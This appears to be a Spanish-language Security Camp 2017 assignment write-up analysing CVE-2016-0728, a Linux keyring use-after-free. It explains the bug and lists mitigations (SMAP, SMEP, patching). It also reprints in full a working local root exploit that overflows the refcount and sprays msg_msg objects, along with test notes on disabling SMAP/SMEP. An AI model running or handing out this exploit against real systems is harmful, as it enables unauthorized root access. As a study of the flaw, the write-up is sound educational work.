
cve-2016-0728 exploit y resumen
Seccamp 2017 Tarea
El siguiente programa explota una vulnerabilidad presente en el kernel de Linux desde las versiones 3.8 hasta 4.4. Explique el mal funcionamiento que ocurre al ejecutar este programa. Además, escriba un exploit que lleve a cabo una escalada de privilegios a root explotando aún más esta vulnerabilidad, y explique el entorno de operación que probó y los puntos de ingenio que aplicó. Adicionalmente, enumere tantas técnicas de mitigación para este tipo de ataque como sea posible y explíquelas. No es necesario que lo entienda completamente; describa con sus propias palabras la información que haya podido comprender, el proceso de prueba y lo que sintió. Si hay sitios web o referencias que haya consultado, indique claramente esas fuentes.
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
El entorno de verificación es el siguiente:
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
Conocí esta vulnerabilidad por primera vez, pero describiré lo que averigüé investigando y lo que probé en el proceso. Primero, explicaré el servicio de almacenamiento de claves utilizado en este programa, luego la vulnerabilidad Use-After-Free que explota este programa y qué es lo que la causa en el programa, y finalmente qué tipo de mal funcionamiento produce. Esta vulnerabilidad está registrada como CVE-2016-0728, y para su resumen consulté el siguiente sitio web:
Además, como también era la primera vez que conocía el servicio de almacenamiento de claves de Linux, consulté la página web de IBM sobre introducción al servicio de almacenamiento de claves de Linux
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
y el código fuente del kernel de Linux 3.19, que es el entorno de verificación,
Para enviar los mensajes del kernel al sistema anfitrión a través de la red, utilicé DEBUG HACKS - Técnicas y herramientas para dominar la depuración (O'REILLY).
Este programa (en adelante, lo llamaremos leak.c) explota un bug presente en el servicio de almacenamiento de claves de Linux, y este bug conduce a una vulnerabilidad Use-After-Free. La vulnerabilidad Use-After-Free es aquella en la que, debido a una inconsistencia del programa, se hace referencia a una dirección de memoria heap ya liberada, lo que puede permitir la ejecución de código arbitrario. Primero, explicaré la llamada al sistema keyctl() que utiliza este programa y luego describiré qué bug existe allí.
Cada proceso puede crear un llavero específico del proceso para la sesión actual mediante la llamada al sistema keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). Este llavero puede compartirse entre procesos haciendo referencia a su nombre name. Si el proceso ya tiene un llavero de sesión, esta llamada al sistema reemplaza el llavero de sesión por uno nuevo. Como quería entender mejor este comportamiento, consulté la función join_session_keyring en /security/keys/process_keys.c del código fuente del kernel. Su estructura es la siguiente. Al reemplazar el llavero de sesión por uno nuevo, se omite la llamada a la función key_put. La función key_put es una función que descarta la referencia al llavero dado como argumento. Al omitirla, queda una referencia pendiente al nuevo llavero, lo que conduce a la vulnerabilidad Use-After-Free.
Cuando este llavero se comparte entre procesos, aumenta el contador de referencias internas almacenado en el miembro usage de la estructura key. El miembro usage es de tipo atomic_t, que en realidad se define como un typedef de una estructura que contiene una única variable int. Además, como no existe un mecanismo para evitar el desbordamiento de este miembro usage, es posible incrementarlo hasta que se desborde y llegue a 0. Cuando el miembro usage llega a 0, el llavero se libera mediante la recolección de basura interna del subsistema de llaveros. Colocando otro módulo del kernel que realice un procesamiento arbitrario desde el espacio de usuario en esta área liberada, se puede ejecutar dicho procesamiento con privilegios del kernel.
En el sitio web de referencia, cuando se compila leak.c con la biblioteca keyutils y se ejecuta, se muestra que en /proc/keys se registra un llavero de sesión llamado leaked-keyring y que se ha referenciado 100 veces. Se verificó que antes y después de ejecutar este programa, leaked-keyring se mostraba de la siguiente manera:
# Antes de la ejecución
$ cat /proc/keys
$ ./leak
# Después de la ejecución
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
Sin embargo, en mi entorno de verificación no se mostró leaked-keyring. Como prueba, cambié la condición del bucle for a un número grande como i < 0x1000000, y durante la ejecución del programa sí se mostraba leaked-keyring. En este caso, el ataque se logra desbordando el miembro usage para liberar la clave y luego colocando un nuevo objeto del kernel en esa dirección. Por lo tanto, decidí probarlo realmente. El código del exploit lo consulté en el siguiente sitio web:
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Establecer el nuevo llavero de sesión antes de comenzar */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* aquí vamos a filtrar las últimas referencias para desbordar */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* asignar estructura msg en el kernel reescribiendo el objeto llavero liberado */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* llamar a userspace_revoke desde el kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
Al ejecutarlo, los privilegios no cambiaron y la shell se inició con los privilegios del usuario de ejecución. Lo primero que pensé fue que mi entorno estaba actualizado y que ya se había aplicado el parche. Esto se debe a que esta vulnerabilidad se anunció alrededor de enero de 2016 y ya había realizado actualizaciones en mi entorno hasta esa fecha. Por lo tanto, probé cambiando los valores constantes en un nuevo entorno virtual (kernel 3.18.52), pero no funcionó. Además, se informó que si los mecanismos de protección de memoria SMAP y SMEP están activos, el exploit no funciona correctamente. SMEP prohíbe la ejecución de código en direcciones de espacio de usuario en modo kernel, y SMAP prohíbe el acceso a direcciones de espacio de usuario en modo kernel. En los comentarios de gist, varias personas verificaron que con kernel 3.18.25 se podía iniciar con uid=0 pero la VM se congelaba, y había un código para probarlo. Probé ese código. El enlace es este (https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830). Construí el kernel (kernel 3.18.25) y lo probé en un estado donde tanto SMAP como SMEP estaban deshabilitados. El entorno de ejecución es el siguiente. SMAP se deshabilitó en .config durante la compilación, y SMEP también se deshabilitó en el archivo de configuración de grub (/boot/grub/grub.cfg).
$ uname -r
3.18.25
Al ejecutar leak en este entorno, /proc/keys quedó así:
$ cat /proc/keys
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
Como en el sitio de referencia, se pudo confirmar el objeto llavero. Al ejecutar el exploit, también en este caso se inició la shell con los privilegios del usuario de ejecución del programa. Entonces, al monitorear /proc/keys con el comando watch cada 0.1 segundos mientras se ejecutaba el exploit, noté que cuando el miembro usage no llegaba exactamente a 0 (cuando se especificaba un nombre de llavero que ya había sido generado al interrumpir el programa antes, después del desbordamiento el miembro usage del objeto llavero volvía a incrementarse), join_session_keyring parecía generar un nuevo objeto llavero. Por lo tanto, pensé que a menos que el contador de referencias se ajuste para que llegue exactamente a 0, el objeto clave no se libera. Cuando el contador de referencias llegó a 0, efectivamente el objeto llavero dejó de ser visible, lo que indica que se liberó. Al ejecutarlo varias veces seguidas, confirmé que se obtenía root (uid=0, euid=0) pero inmediatamente después se producía un pánico del kernel y la VM se congelaba.
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed
Por lo tanto, intenté transferir los mensajes del kernel al sistema anfitrión a través de netconsole y leer el registro, pero al buscar las direcciones de constantes como commit_creds y kernel_prepare_cred, no encontré las ubicaciones correspondientes. Al final, no pude obtener root y ejecutar una shell.
En base a lo anterior, para protegerse contra ataques que utilicen esta vulnerabilidad, es posible dificultar el ataque activando los mecanismos de protección del kernel de la CPU como SMAP y SMEP. Además, poco después de que la vulnerabilidad se hiciera pública, cada distribución proporciona actualizaciones del kernel que incluyen parches, por lo que aplicar dichas actualizaciones puede prevenir el ataque. Mientras investigaba esta vulnerabilidad, al ejecutar el código PoC en kernel 3.18.52, al monitorear /proc/keys observé que el miembro usage del objeto llavero aumentaba y disminuía repetidamente, por lo que pensé que entre kernel 3.18.25 y 3.18.52 se modificó el código relacionado con los llaveros o la función abort_creds utilizada en join_session_keyring, cambiando el mecanismo de incremento del contador de referencias (aquí, el miembro usage). Esto se debe a que en el sitio de referencia se mencionaba que el contador de referencias usage se incrementaba y disminuía dos veces en join_session_keyring, y que era importante que abort_creds realizara la resta del contador de referencias de forma asíncrona, después de un proceso llamado trabajo RCU.
Cuando investigué esta vulnerabilidad, me sorprendió que un usuario normal pudiera escalar privilegios a usuario privilegiado, y también sentí inquietud. Sin embargo, al verificar el código PoC del exploit e investigar, descubrí que el atacante debe identificar la versión exacta del kernel, y si SMEP o SMAP están activos, también debe eludirlos; además, el éxito no está garantizado y, si falla, provoca un pánico del kernel, lo que hace que el ataque sea detectable. Me di cuenta de que hay muchas desventajas para el atacante, y me pregunté si realmente es útil como técnica de ataque.